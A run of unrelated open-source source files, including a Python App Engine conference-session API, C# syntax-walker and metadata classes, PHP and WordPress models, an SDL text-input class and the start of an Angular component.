"""Register user for selected conference."""
return self._conferenceRegistration(request)
@endpoints.method(CONF_GET_REQUEST, BooleanMessage,
path='conference/{websafeConferenceKey}',
http_method='DELETE', name='unregisterFromConference')
def unregisterFromConference(self, request):
"""Unregister user for selected conference."""
return self._conferenceRegistration(request, reg=False)
@endpoints.method(message_types.VoidMessage, ConferenceForms,
path='filterPlayground',
http_method='GET', name='filterPlayground')
def filterPlayground(self, request):
"""Filter Playground"""
q = Conference.query()
# field = "city"
# operator = "="
# value = "London"
# f = ndb.query.FilterNode(field, operator, value)
# q = q.filter(f)
q = q.filter(Conference.city=="London")
q = q.filter(Conference.topics=="Medical Innovations")
q = q.filter(Conference.month==6)
return ConferenceForms(
items=[self._copyConferenceToForm(conf, "") for conf in q]
)
#########################################
#########################################
#########################################
#Task 1 add sessions to conference
#########################################
@endpoints.method(SESS_CREATE_REQ, SessionForm,
path='conference/{websafeConferenceKey}/session/create',
name='createSession')
def createSession(self, request):
"""Create New Session for Session"""
return self._createSessionObject(request)
def _createSessionObject(self, request):
""" Create the session object from the request"""
# preload necessary data items
wsck = request.websafeConferenceKey
'''Check that required information is provided '''
if not request.name:
raise endpoints.BadRequestException("Session 'name' field required")
if not wsck:
raise endpoints.BadRequestException("Session 'websafeConferenceKey' field required")
'''Check that user is authorized and conference key is valid'''
user = endpoints.get_current_user()
if not user:
raise endpoints.UnauthorizedException('Authorization required')
try:
prof = self.authUserCheck()
except:
raise endpoints.UnauthorizedException('Authorization required')
'''Confernce Creator Check checks if a user is authorized and the creator of the conference
if they are it returns the confeence key'''
try:
c_key = self.conferenceCreatorCheck(wsck)
except:
raise endpoints.BadRequestException("Conference Key not valid")
# copy SessionForm/ProtoRPC Message into dict
data = {field.name: getattr(request, field.name) for field in request.all_fields()}
# add default values for those missing (both data model & outbound Message)
for df in SESS_DEFAULT:
"session value: %s"%df
if data[df] in (None, []):
data[df] = SESS_DEFAULT[df]
#setattr(request, df, SESS_DEFAULT[df]) #debug code
# convert dates from strings to Date objects; set month based on start_date
if data['startDate']:
data['startDate'] = datetime.strptime(data['startDate'][:10], "%Y-%m-%d").date()
data['startTime'] = datetime.strptime(data['startTime'], "%H:%M").time()
if data['endDate']:
data['endDate'] = datetime.strptime(data['endDate'][:10], "%Y-%m-%d").date()
data['endTime'] = datetime.strptime(data['endTime'], "%H:%M").time()
# set seatsAvailable to be same as maxAttendees on creation
if data["maxAttendees"] > 0:
data["seatsAvailable"] = data["maxAttendees"]
# generate Session Key based on Conference ID
s_id = Session.allocate_ids(size=1, parent=c_key)[0]
s_key = ndb.Key(Session, s_id, parent=c_key)
data['key'] = s_key
'''Remove uneeded data'''
del data['websafeConferenceKey']
#Commit session to ndb
Session(**data).put()
#send email for notification of session creation
taskqueue.add(params={'email': user.email(),
'sessionInfo': repr(request)},
url='/tasks/send_confirmation_email_session'
)
################################################
#Task 4 Call the getFeatured Speaker Task
################################################
''' Build the parameters list to be passed to the Task queue which will then be
passed to the helper method'''
parameters =[('websafeConferenceKey', wsck),
('sessionKey', s_key.urlsafe())]
for speak in data['speakers']:
parameters.append(('speaker', speak) )
'''taskqueue.add(
params= dict(parameters),
url = '/tasks/featured_speaker_check'
)'''
taskqueue.add(
params= dict( [('wsck', wsck), ('s_key', s_key.urlsafe()) ]),
url = '/tasks/featured_speaker_check'
)
sess = s_key.get()
return self._copySessionToForm(sess)
def _copySessionToForm(self, sess):
"""Copy Session to SessionForm"""
s = SessionForm()
for field in s.all_fields():
if hasattr(sess, field.name):
# convert Date to date string; just copy others
if field.name.endswith('Date'):
date = getattr(sess, field.name)
setattr(s, field.name, date.strftime("%Y-%m-%d"))
elif field.name.endswith('Time'):
time = getattr(sess, field.name)
setattr(s, field.name, time.strftime("%H:%M"))
else:
setattr(s, field.name, getattr(sess, field.name))
s.check_initialized()
return s
@endpoints.method(SESS_GET_REQ, SessionForms,
path='getConferenceSessions',
http_method = 'POST',
name = 'getConferenceSessions')
def getConferenceSessions(self, request):
"""Return all sessions from a given conference."""
# make sure user is authed
user = endpoints.get_current_user()
if not user:
raise endpoints.UnauthorizedException('Authorization required')
user_id = getUserId(user)
"""Get Parent Conference obj"""
conf_key = ndb.Key(urlsafe = request.websafeConferenceKey)
sessns = Session.query(ancestor =conf_key)
prof = ndb.Key(Profile, user_id).get()
return SessionForms(
items=[self._copySessionToForm(sess) for sess in sessns]
)
@endpoints.method(SESS_GET_REQ_TYPE, SessionForms,
path='getConferenceSessionsByType',
http_method = 'POST',
name = 'getConferenceSessionsByType')
def getConferenceSessionsByType(self, request):
"""Return all sessions from a given conference with a specified type."""
# make sure user is authed
"""Pass request parameters to helper method"""
sessns = self._getConferenceSessionsByType(request.websafeConferenceKey, request.sessionType)
return SessionForms(
items=[self._copySessionToForm(sess) for sess in sessns]
)
def _getConferenceSessionsByType(self, websafeConferenceKey, sessionType):
user = endpoints.get_current_user()
if not user:
raise endpoints.UnauthorizedException('Authorization required')
user_id = getUserId(user)
"""Get Parent Conference obj"""
conf_key = ndb.Key(urlsafe = websafeConferenceKey)
"""Cast request as a tuple to use in the IN() filter """
query_sessionTypes = [sessionType, '']
sessns = Session.query(Session.typeofSession.IN(query_sessionTypes), ancestor = conf_key )
return sessns
@endpoints.method(SESS_GET_REQ_SPEAK, SessionForms,
path='getSessionsBySpeaker',
http_method = 'GET',
name = 'getSessionsBySpeaker')
def getSessionsBySpeaker(self, request):
"""Return all sessions from a given conference with a specified type."""
# make sure user is authed
user = endpoints.get_current_user()
if not user:
raise endpoints.UnauthorizedException('Authorization required')
user_id = getUserId(user)
"""Cast request as a tuple to use in the IN() filter """
query_speakers = [s for s in request.speakers]
sessns = Session.query(Session.speakers.IN(query_speakers))
prof = ndb.Key(Profile, user_id).get()
return SessionForms(
items=[self._copySessionToForm(sess) for sess in sessns]
)
#########################################
#Task 2 Add sessions to user wishlist
#########################################
@endpoints.method(SESS_WISHLIST_REQ, SessionForms,
path='addSessionToWishlist',
http_method='POST', name = 'addSessionToWishlist')
def addSessionToWishlist(self, request):
"""Adds a session to a user's wishlist"""
return self._wishlistRegistration(request)
@ndb.transactional(xg=True)
def _wishlistRegistration( self, request, save=True ):
wssk = request.websafeSessionKey
'''Check that user is authorized and conferenc key is valid'''
user = endpoints.get_current_user()
if not user:
raise endpoints.UnauthorizedException('Authorization required')
try:
prof_key = self.authUserCheck()
except:
raise endpoints.UnauthorizedException('User not authorized in CreateSession')
prof = prof_key.get()
'''Check for valid session'''
try:
ndb.Key(urlsafe = wssk)
except:
raise endpoints.BadRequestException("Session Key isn't valid")
'''Pull list of session keys from profile'''
sessns = prof.sessionWishlistKeys
"""Check if wishlist already contains the session"""
if wssk in prof.sessionWishlistKeys:
'''Complete additon or removal based on Save flag'''
if not save:
'''If requestd session is in profile list remove it'''
save_index = sessns.index(wssk)
sessns.pop(save_index)
else:
if save:
sessns.append(wssk)
'''Write saves back to profile'''
prof.put()
sessns = [ndb.Key(urlsafe = s_key).get() for s_key in prof.sessionWishlistKeys]
return SessionForms(
items=[self._copySessionToForm(sess) for sess in sessns]
)
@endpoints.method(SESS_WISHLIST_REQ, SessionForms,
path='deleteSessionFromWishlist',
http_method='POST', name = 'deleteSessionFromWishlist')
def deleteSessionFromWishlist(self, request):
"""Deletes a session from a user's wishlist"""
return self._wishlistRegistration(request, save=False)
@endpoints.method(message_types.VoidMessage, SessionForms,
path = 'getSessionsInWishlist',
http_method='GET', name = 'getSessionsInWishlist')
def getSessionsInWishlist(self, request):
"""Gets a session to a user's wishlist"""
"""pull wishlist for user, if fails then create one and link to to the acncestor of the user"""
# make sure user is authed
user = endpoints.get_current_user()
if not user:
raise endpoints.UnauthorizedException('Authorization required')
user_id = getUserId(user)
prof_key = ndb.Key(Profile, user_id)
prof = prof_key.get()
"""Attempt to pull the wishlist"""
sessns = [ndb.Key(urlsafe = s_key).get() for s_key in prof.sessionWishlistKeys]
return SessionForms(
items=[self._copySessionToForm(sess) for sess in sessns]
)
#########################################
#Task 3 Additonal queries
#########################################
@endpoints.method(SESS_GET_REQ_TIME, SessionForms,
path='getSessionsBeforeTime',
http_method='GET', name = 'getSessionsBeforeTime' )
def getSessionsBeforeTime(self, request):
"""Returns all sesions before the time specified for a given confernce """
user = endpoints.get_current_user()
if not user:
raise endpoints.UnauthorizedException('Authorization required')
user_id = getUserId(user)
prof_key = ndb.Key(Profile, user_id)
prof = prof_key.get()
'''allow blank entries, if nothing provided return entire day'''
if request.searchTime is None:
request.searchTime = "23:59"
"""Convert given params to time objects"""
start_time = datetime.strptime(request.searchTime, "%H:%M").time()
"""Fetch all sesion for confernce"""
c_key = ndb.Key(urlsafe= request.websafeConferenceKey)
sessns_base = Session.query(ancestor = c_key)
"""Find all sesions after a certain time in the day"""
sessns = sessns_base.filter(Session.startTime <= start_time)
return SessionForms(
items=[self._copySessionToForm(sess) for sess in sessns]
)
@endpoints.method(SESS_GET_REQ_TIME, SessionForms,
path='getSessionsAfterTime',
http_method='GET', name = 'getSessionsAfterTime' )
def getSessionsAfterTime(self, request):
"""Returns all sesions after the time specified for a given confernce """
user = endpoints.get_current_user()
if not user:
raise endpoints.UnauthorizedException('Authorization required')
user_id = getUserId(user)
prof_key = ndb.Key(Profile, user_id)
prof = prof_key.get()
'''allow blank entries, if nothing provided return entire day'''
if request.searchTime is None:
request.searchTime = "23:59"
"""Convert given params to time objects"""
start_time = datetime.strptime(request.searchTime, "%H:%M").time()
"""Fetch all sesion for confernce"""
c_key = ndb.Key(urlsafe= request.websafeConferenceKey)
sessns_base = Session.query(ancestor = c_key)
"""Find all sesions after a certain time in the day"""
sessns = sessns_base.filter(Session.startTime >= start_time)
return SessionForms(
items=[self._copySessionToForm(sess) for sess in sessns]
)
#########################################
#Task 3 Solution
#########################################
@endpoints.method(TASK3_SOLUTION_REQ, SessionForms,
path='task3Solution',
http_method='POST', name = 'task3Solution' )
def task3Solution(self, request):
"""Returns all sesions afer after a certiain time and match the session type"""
#Check that user is authorized and conferenc key is valid
user = endpoints.get_current_user()
if not user:
raise endpoints.UnauthorizedException('Authorization required')
try:
prof_key = self.authUserCheck()
except:
raise endpoints.UnauthorizedException('User not authorized in CreateSession')
prof = prof_key.get()
'''allow blank entries, if nothing provided return entire day'''
if request.searchTime is None:
request.searchTime = "23:59"
"""Convert given params to time objects"""
start_time = datetime.strptime(request.searchTime, "%H:%M").time()
"""Fetch all sesion that match the sessiontype"""
"""Cast request as a tuple to use in the IN() filter """
query_sessionTypes = [request.sessionType, '']
#All queries that aren't whatever was provided
sessn_type_query = Session.query(Session.typeofSession != request.sessionType)
logging.info('Session type: %s', request.sessionType)
#All sessions before the start time provided
sessn_time_query = Session.query(Session.startTime <= start_time)
#Find all sesions after a certain time in the day
sessns = set(sessn_type_query).intersection( set(sessn_time_query) )
return SessionForms(
items=[self._copySessionToForm(sess) for sess in sessns]
)
#########################################
#Task 4 Add task
#########################################
def conferenceCreatorCheck(self, websafeConferenceKey):
"""Check to make sure current user owns the conference.
Returns: Conf Key"""
try:
conf_key = ndb.Key(urlsafe = websafeConferenceKey)
except:
raise endpoints.BadRequestException("Conference not found by key")
conf_owner_key = conf_key.parent()
if conf_owner_key != self.authUserCheck():
raise endpoints.UnauthorizedException('You must Own the Conference to add sessions owner: %s'%conf_owner_key)
return conf_key
def authUserCheck(self):
"""Helper method pulls the userID for the current user, if thye aren't authorized an
exception is raised
Returns: User profile Key"""
user = endpoints.get_current_user()
if not user:
raise endpoints.UnauthorizedException('Authorization required')
user_id = getUserId(user)
prof_key = ndb.Key(Profile, user_id)
return prof_key
@endpoints.method(message_types.VoidMessage, StringMessage,
path='getFeaturedSpeaker',
http_method='POST', name = 'getFeaturedSpeaker' )
def getFeaturedSpeaker(self, request):
"""Returns the sessions a featured speaker is pressenting at."""
return StringMessage(data=memcache.get(MEMCACHE_FEATURED_SPEAKERS_KEY) or "")
@staticmethod
def _cacheFeaturedSpeakers(websafeConferenceKey, s_key):
'''fetch all sessions for conference'''
wsck = ndb.Key(urlsafe = websafeConferenceKey)
sessns = Session.query(ancestor = wsck).get()
new_sessn = ndb.Key(urlsafe=s_key).get()
new_speakers = new_sessn.speakers
for speaker in new_speakers:
sessns = Session.query(Session.speakers.IN( new_speakers ) )
if sessns:
"""Add sessions speakers will be in with the Speaker at Session format"""
cacheAnnoucement = speaker + ' is speaking at ' + ' , '.join(sessn.name for sessn in sessns)
memcache.set(MEMCACHE_FEATURED_SPEAKERS_KEY, cacheAnnoucement)
else:
logging.info("Unable to set featured speakers")
api = endpoints.api_server([ConferenceApi]) # register API
| gpl-3.0 |
xingh/bsn-modulestore | bsn.ModuleStore/Mapper/MetadataBoolean.cs | 1792 | // bsn ModuleStore database versioning
// -----------------------------------
//
// Copyright 2010 by Arsène von Wyss - avw@gmx.ch
//
// Development has been supported by Sirius Technologies AG, Basel
//
// Source:
//
// https://bsn-modulestore.googlecode.com/hg/
//
// License:
//
// The library is distributed under the GNU Lesser General Public License:
// http://www.gnu.org/licenses/lgpl.html
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
using System;
using System.Xml;
using System.Xml.Linq;
namespace bsn.ModuleStore.Mapper {
public class MetadataBoolean: MetadataBase<bool?> {
public MetadataBoolean(Func<XDocument> metadata, XName elementName): base(metadata, elementName) {}
protected override string ToStringInternal(bool? value) {
if (!value.HasValue) {
return null;
}
return XmlConvert.ToString(value.Value);
}
protected override bool? ToValueInternal(string value) {
if (string.IsNullOrEmpty(value)) {
return null;
}
bool result;
if (bool.TryParse(value, out result)) {
return result;
}
return XmlConvert.ToBoolean(value);
}
}
}
| gpl-3.0 |
lawl-dev/Kiwi | src/Kiwi.Parser/Nodes/SyntaxWalkerBase.cs | 11413 | namespace Kiwi.Parser.Nodes
{
public class SyntaxWalkerBase : ISyntaxVisitor
{
public virtual void Visit(AnonymousFunctionExpressionSyntax anonymousFunctionExpressionSyntax)
{
foreach (var parameterSyntax in anonymousFunctionExpressionSyntax.Parameter)
{
Visit(parameterSyntax);
}
Visit(anonymousFunctionExpressionSyntax.Statements);
}
public virtual void Visit(ArrayAccessExpressionSyntax arrayAccessExpressionSyntax)
{
Visit(arrayAccessExpressionSyntax.Owner);
foreach (var expressionSyntax in arrayAccessExpressionSyntax.Parameter)
{
Visit(expressionSyntax);
}
}
public virtual void Visit(ArrayCreationExpressionSyntax arrayCreationExpressionSyntax)
{
Visit(arrayCreationExpressionSyntax.Type);
foreach (var expressionSyntax in arrayCreationExpressionSyntax.Parameter)
{
Visit(expressionSyntax);
}
}
public virtual void Visit(ArrayTypeSyntax arrayTypeSyntax)
{
}
public virtual void Visit(AssignmentStatementSyntax assignmentStatementSyntax)
{
Visit(assignmentStatementSyntax.Member);
Visit(assignmentStatementSyntax.ToAssign);
}
public virtual void Visit(BinaryExpressionSyntax binaryExpressionSyntax)
{
Visit(binaryExpressionSyntax.LeftExpression);
Visit(binaryExpressionSyntax.RightExpression);
}
public virtual void Visit(BooleanExpressionSyntax booleanExpressionSyntax)
{
}
public virtual void Visit(CaseSyntax caseSyntax)
{
Visit(caseSyntax.Expression);
Visit(caseSyntax.Statements);
}
public virtual void Visit(ClassSyntax classSyntax)
{
foreach (var fieldSyntax in classSyntax.Fields)
{
Visit(fieldSyntax);
}
foreach (var constructorSyntax in classSyntax.Constructors)
{
Visit(constructorSyntax);
}
foreach (var functionSyntax in classSyntax.Functions)
{
Visit(functionSyntax);
}
}
public virtual void Visit(CompilationUnitSyntax compilationUnitSyntax)
{
foreach (var usingSyntax in compilationUnitSyntax.Usings)
{
Visit(usingSyntax);
}
foreach (var namespaceSyntax in compilationUnitSyntax.Namespaces)
{
Visit(namespaceSyntax);
}
}
public virtual void Visit(ConditionalWhenEntry conditionalWhenEntry)
{
Visit(conditionalWhenEntry.Condition);
Visit(conditionalWhenEntry.Statements);
}
public virtual void Visit(ConditionalMatchStatementSyntax conditionalMatchStatementSyntax)
{
Visit(conditionalMatchStatementSyntax.Condition);
foreach (var conditionalWhenEntry in conditionalMatchStatementSyntax.WhenEntries)
{
Visit(conditionalWhenEntry);
}
}
public virtual void Visit(ConstructorSyntax constructorSyntax)
{
foreach (var parameterSyntax in constructorSyntax.Parameter)
{
Visit(parameterSyntax);
}
Visit(constructorSyntax.Statements);
}
public virtual void Visit(DataSyntax dataSyntax)
{
foreach (var parameterSyntax in dataSyntax.Parameter)
{
Visit(parameterSyntax);
}
}
public virtual void Visit(ElseSyntax elseSyntax)
{
Visit(elseSyntax.Statements);
}
public virtual void Visit(EnumMemberSyntax enumMemberSyntax)
{
if (enumMemberSyntax.Initializer != null)
{
Visit(enumMemberSyntax.Initializer);
}
}
public virtual void Visit(EnumSyntax enumSyntax)
{
foreach (var enumMemberSyntax in enumSyntax.Member)
{
Visit(enumMemberSyntax);
}
}
public virtual void Visit(FieldSyntax fieldSyntax)
{
if (fieldSyntax.Initializer != null)
{
Visit(fieldSyntax.Initializer);
}
}
public virtual void Visit(FloatExpressionSyntax floatExpressionSyntax)
{
}
public virtual void Visit(ForInStatementSyntax forInStatementSyntax)
{
if (forInStatementSyntax.VariableDeclarationStatement != null)
{
Visit(forInStatementSyntax.VariableDeclarationStatement);
}
if (forInStatementSyntax.ItemExpression != null)
{
Visit(forInStatementSyntax.ItemExpression);
}
Visit(forInStatementSyntax.CollExpression);
Visit(forInStatementSyntax.Statements);
}
public virtual void Visit(ForStatementSyntax forStatementSyntax)
{
Visit(forStatementSyntax.InitStatement);
Visit(forStatementSyntax.CondExpression);
Visit(forStatementSyntax.LoopStatement);
Visit(forStatementSyntax.Statements);
}
public virtual void Visit(FunctionSyntax functionSyntax)
{
foreach (var parameterSyntax in functionSyntax.Parameter)
{
Visit(parameterSyntax);
}
Visit(functionSyntax.Statements);
}
public virtual void Visit(OperatorFunctionSyntax functionSyntax)
{
foreach (var parameterSyntax in functionSyntax.Parameter)
{
Visit(parameterSyntax);
}
Visit(functionSyntax.Statements);
}
public virtual void Visit(IfElseExpressionSyntax ifElseExpressionSyntax)
{
Visit(ifElseExpressionSyntax.Condition);
Visit(ifElseExpressionSyntax.IfTrueExpression);
Visit(ifElseExpressionSyntax.IfFalseExpression);
}
public virtual void Visit(IfElseStatementSyntax ifElseStatementSyntax)
{
Visit(ifElseStatementSyntax.Condition);
Visit(ifElseStatementSyntax.Statements);
Visit(ifElseStatementSyntax.ElseStatements);
}
public virtual void Visit(IfStatementSyntax ifStatementSyntax)
{
Visit(ifStatementSyntax.Condition);
Visit(ifStatementSyntax.Statements);
}
public virtual void Visit(
ImplicitParameterTypeAnonymousFunctionExpressionSyntax
implicitParameterTypeAnonymousFunctionExpressionSyntax)
{
foreach (var expressionSyntax in implicitParameterTypeAnonymousFunctionExpressionSyntax.Parameter)
{
Visit(expressionSyntax);
}
Visit(implicitParameterTypeAnonymousFunctionExpressionSyntax.Statements);
}
public virtual void Visit(IntExpressionSyntax intExpressionSyntax)
{
}
public virtual void Visit(InvocationExpressionSyntax invocationExpressionSyntax)
{
foreach (var expressionSyntax in invocationExpressionSyntax.Parameter)
{
Visit(expressionSyntax);
}
Visit(invocationExpressionSyntax.ToInvoke);
}
public virtual void Visit(InvocationStatementSyntax invocationStatementSyntax)
{
Visit(invocationStatementSyntax.InvocationExpression);
}
public virtual void Visit(MemberAccessExpressionSyntax memberAccessExpressionSyntax)
{
Visit(memberAccessExpressionSyntax.Owner);
}
public virtual void Visit(IdentifierExpressionSyntax identifierExpressionSyntax)
{
}
public virtual void Visit(NamespaceSyntax namespaceSyntax)
{
foreach (var classSyntax in namespaceSyntax.Classes)
{
Visit(classSyntax);
}
}
public virtual void Visit(ObjectCreationExpressionSyntax objectCreationExpressionSyntax)
{
foreach (var expressionSyntax in objectCreationExpressionSyntax.Parameter)
{
Visit(expressionSyntax);
}
}
public virtual void Visit(ParameterSyntax parameterSyntax)
{
}
public virtual void Visit(ReturnStatementSyntax returnStatementSyntax)
{
Visit(returnStatementSyntax.Expression);
}
public virtual void Visit(SignExpressionSyntax signExpressionSyntax)
{
Visit(signExpressionSyntax.Expression);
}
public virtual void Visit(SimpleMatchStatementSyntax simpleMatchStatementSyntax)
{
foreach (var whenEntry in simpleMatchStatementSyntax.WhenEntries)
{
Visit(whenEntry);
}
}
public virtual void Visit(StringExpressionSyntax stringExpressionSyntax)
{
}
public virtual void Visit(SwitchStatementSyntax switchStatementSyntax)
{
Visit(switchStatementSyntax.Condition);
foreach (var caseSyntax in switchStatementSyntax.Cases)
{
Visit(caseSyntax);
}
Visit(switchStatementSyntax.Else);
}
public virtual void Visit(TypeSyntax typeSyntax)
{
}
public virtual void Visit(UsingSyntax usingSyntax)
{
}
public virtual void Visit(VariableDeclarationStatementSyntax variableDeclarationStatementSyntax)
{
Visit(variableDeclarationStatementSyntax.InitExpression);
}
public virtual void Visit(VariablesDeclarationStatementSyntax variablesDeclarationStatementSyntax)
{
foreach (var variableDeclarationStatementSyntax in variablesDeclarationStatementSyntax.Declarations)
{
Visit(variableDeclarationStatementSyntax);
}
}
public virtual void Visit(WhenEntry whenEntry)
{
Visit(whenEntry.Condition);
Visit(whenEntry.Statements);
}
public virtual void Visit(WhenInExpressionSyntax whenInExpressionSyntax)
{
foreach (var expressionSyntax in whenInExpressionSyntax.InExpressionList)
{
Visit(expressionSyntax);
}
}
public void Visit(ScopeStatementSyntax scopeStatement)
{
foreach (var statementSyntax in scopeStatement.Statements)
{
Visit(statementSyntax);
}
}
public void Visit(InfixFunctionInvocationExpressionSyntax infixFunctionInvocationExpressionSyntax)
{
Visit(infixFunctionInvocationExpressionSyntax.Left);
Visit(infixFunctionInvocationExpressionSyntax.Identifier);
Visit(infixFunctionInvocationExpressionSyntax.Right);
}
public void Visit(ISyntaxBase @base)
{
@base.Accept(this);
}
}
} | gpl-3.0 |
xcalder/openant | sale/sale/models/product/Length_class_model.php | 1091 | <?php
class Length_class_model extends CI_Model {
public function __construct()
{
parent::__construct();
$this->load->database();
}
//取组
public function get_length_classs(){
$this->db->select("length_class_id");
$this->db->from($this->db->dbprefix('length_class'));
$query=$this->db->get();
if($query->num_rows() > 0){
$re=$query->result_array();
foreach($re as $key=>$value){
$row[]=$this->get_length_class($re[$key]['length_class_id']);
}
return $row;
}
return FALSE;
}
//取组的单条
public function get_length_class($length_class_id){
$this->db->where('length_class.length_class_id',$length_class_id);
$this->db->where('length_class_description.language_id', isset($_SESSION['language_id']) ? $_SESSION['language_id'] : '1');
$this->db->join('length_class_description','length_class_description.length_class_id = length_class.length_class_id');
$this->db->from($this->db->dbprefix('length_class'));
$query=$this->db->get();
if($query->num_rows() > 0){
return $query->row_array();
}
return FALSE;
}
} | gpl-3.0 |
SydneyUniLibrary/auto-holds | manage.py | 979 | #!/usr/bin/env python
#
# Copyright 2016 Susan Bennett, David Mitchell, Jim Nicholls
#
# This file is part of AutoHolds.
#
# AutoHolds is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# AutoHolds is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with AutoHolds. If not, see <http://www.gnu.org/licenses/>.
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "autoholds.settings")
from django.core.management import execute_from_command_line
execute_from_command_line(sys.argv)
| gpl-3.0 |
wp-plugins/wp-testing | src/Model/Taxonomy.php | 1248 | <?php
/**
* WordPress needed model for category-like entities
*
* @method string getDescription() Gets the current value of description
*/
class WpTesting_Model_Taxonomy extends WpTesting_Model_AbstractModel
{
/**
* Helper function to workaround old WP versions
* @param integer $testId
* @param array $termIds
* @return array
*/
public function sortTermIdsByTermOrder($testId, $termIds)
{
if (empty($testId) || empty($termIds)) {
return $termIds;
}
/* @var $db fDatabase */
$db = fORMDatabase::retrieve(__CLASS__, 'read');
$records = $db->translatedQuery('
SELECT
tt.term_id
FROM
' . WP_DB_PREFIX . 'term_relationships tr
JOIN
' . WP_DB_PREFIX . 'term_taxonomy tt
ON tt.term_taxonomy_id = tr.term_taxonomy_id
WHERE tt.term_id IN (' . implode(', ', array_map('intval', $termIds)) . ')
AND tr.object_id = ' . intval($testId) . '
ORDER BY tr.term_order
');
$result = array();
foreach ($records as $record) {
$result[] = $record['term_id'];
}
return $result;
}
}
| gpl-3.0 |
philipgraf/Dr_mad_daemon | src/TextInput.cpp | 3744 | /*
* TextInput.cpp
*
* Created on: 11.02.2013
* Author: philip
*/
#include "TextInput.h"
/**
* Constructor of TextInput
* This will generate a kind of input-"window" where text can be typed.
*
* @param title the text that will be shown in the titleSurface
* @param maxSize the max count of digits that can be typed
*/
TextInput::TextInput(string title, int maxSize) {
SDL_Surface *screen = SDL_GetVideoSurface();
this->textInput = "";
this->titleSurface = TTF_RenderUTF8_Solid(Game::curGame->getFont(), title.c_str(), (SDL_Color ) { 255, 255, 255 });
this->maxSize = maxSize;
this->background = SDL_CreateRGBSurface(SDL_HWSURFACE, 500, 150, screen->format->BitsPerPixel, screen->format->Rmask, screen->format->Gmask, screen->format->Bmask, screen->format->Amask);
SDL_FillRect(background, &background->clip_rect, SDL_MapRGB(screen->format, 0, 0, 0));
this->textInputBackground = SDL_CreateRGBSurface(SDL_HWSURFACE, background->w - 20, 55, screen->format->BitsPerPixel, screen->format->Rmask, screen->format->Gmask, screen->format->Bmask, screen->format->Amask);
SDL_FillRect(textInputBackground, &textInputBackground->clip_rect, SDL_MapRGB(screen->format, 50, 50, 50));
this->textInputSurface = TTF_RenderUTF8_Solid(Game::curGame->getFont(), textInput.c_str(), (SDL_Color ) { 255, 255, 255 });
}
/**
* Destructor of TextInput.
* This will free the used Surfaces
*/
TextInput::~TextInput() {
SDL_FreeSurface(titleSurface);
SDL_FreeSurface(background);
SDL_FreeSurface(textInputBackground);
SDL_FreeSurface(textInputSurface);
}
/**
* Handles the typing.
* At first the position of the surfaces will be calculated.
* The Digits 0-9 and a-z will be added to textInput
* BACKSPACE will delete the last digit and ESC will clear textInput and return "".
* RETURN will end the typing and return textInput
*
* @see textInput
*/
string TextInput::getInput() {
SDL_Surface *screen = SDL_GetVideoSurface();
SDL_Event event;
bool running = true;
SDL_Rect backgroundDest;
backgroundDest.x=screen->clip_rect.w / 2 - background->clip_rect.w / 2;
backgroundDest.y=screen->h / 2 - background->clip_rect.h / 2;
backgroundDest.w= background->clip_rect.w;
backgroundDest.h= background->clip_rect.h;
SDL_Rect textInputBackgroundDest;
textInputBackgroundDest.x=10;
textInputBackgroundDest.y=background->clip_rect.h - 65;
textInputBackgroundDest.w=textInputBackground->clip_rect.w;
textInputBackgroundDest.h=textInputBackground->clip_rect.h ;
while (running) {
while (SDL_PollEvent(&event)) {
switch (event.type) {
//TODO case sensitive
case SDL_KEYDOWN:
if ((event.key.keysym.sym >= '0' && event.key.keysym.sym <= '9') || (event.key.keysym.sym >= 'a' && event.key.keysym.sym <= 'z')) {
textInput += (char) event.key.keysym.sym;
} else if (event.key.keysym.sym == SDLK_RETURN) {
if (textInput != "") {
running = false;
}
} else if (event.key.keysym.sym == SDLK_ESCAPE) {
textInput = "";
running = false;
} else if (event.key.keysym.sym == SDLK_BACKSPACE) {
if (textInput != "")
textInput.erase(textInput.size() - 1);
}
break;
}
}
SDL_FreeSurface(textInputSurface);
this->textInputSurface = TTF_RenderUTF8_Solid(Game::curGame->getFont(), textInput.c_str(), (SDL_Color ) { 255, 255, 255 });
SDL_BlitSurface(titleSurface, NULL, background, NULL);
SDL_FillRect(textInputBackground, &textInputBackground->clip_rect, SDL_MapRGB(screen->format, 50, 50, 50));
SDL_BlitSurface(textInputSurface, NULL, textInputBackground, NULL);
SDL_BlitSurface(textInputBackground, NULL, background, &textInputBackgroundDest);
SDL_BlitSurface(background, NULL, screen, &backgroundDest);
SDL_Flip(screen);
}
return textInput;
}
| gpl-3.0 |
xiehan/sparrowhawk | app/pages/home/home.component.ts | 2680 | import { Component, OnInit } from '@angular/core';
import { Observable } from 'rxjs/Rx';
import 'rxjs/add/operator/map';
import COLOR_PALETTE from '../../shared/constants/color-palette';
import LANGUAGES from '../../shared/constants/languages';
import HomeService from './home.service';
import IHomeState from './home.state';
@Component({
selector: 'main-menu',
// tslint:disable max-line-length
template: `
<ActionBar title="sparrowhawk" [backgroundColor]="actionBarColor"></ActionBar>
<FlexboxLayout flexDirection="column" alignItems="center" justifyContent="center">
<StackLayout orientation="vertical" margin="32">
<StackLayout orientation="horizontal" style="margin-bottom: 16;">
<Label text="welcome to "></Label>
<Label class="font-weight-bold" text="sparrowhawk"></Label>
</StackLayout>
<Label class="body" text="Please choose your language:"></Label>
</StackLayout>
<Button text="한국어 (Korean)" textWrap="true"
id="korean"
width="200"
class="btn btn-primary text-center"
style="margin: 16; padding: 32; font-size: 24;"
[isEnabled]="isKoreanAvailable$ | async"
(tap)="selectKorean()">
</Button>
<Button text="日本語 (Japanese)" textWrap="true"
id="japanese"
width="200"
class="btn btn-primary text-center"
style="margin: 16; padding: 32; font-size: 24;"
[isEnabled]="isJapaneseAvailable$ | async"
(tap)="selectJapanese()">
</Button>
</FlexboxLayout>
`, // tslint:enable max-line-length
})
export default class HomeComponent implements OnInit {
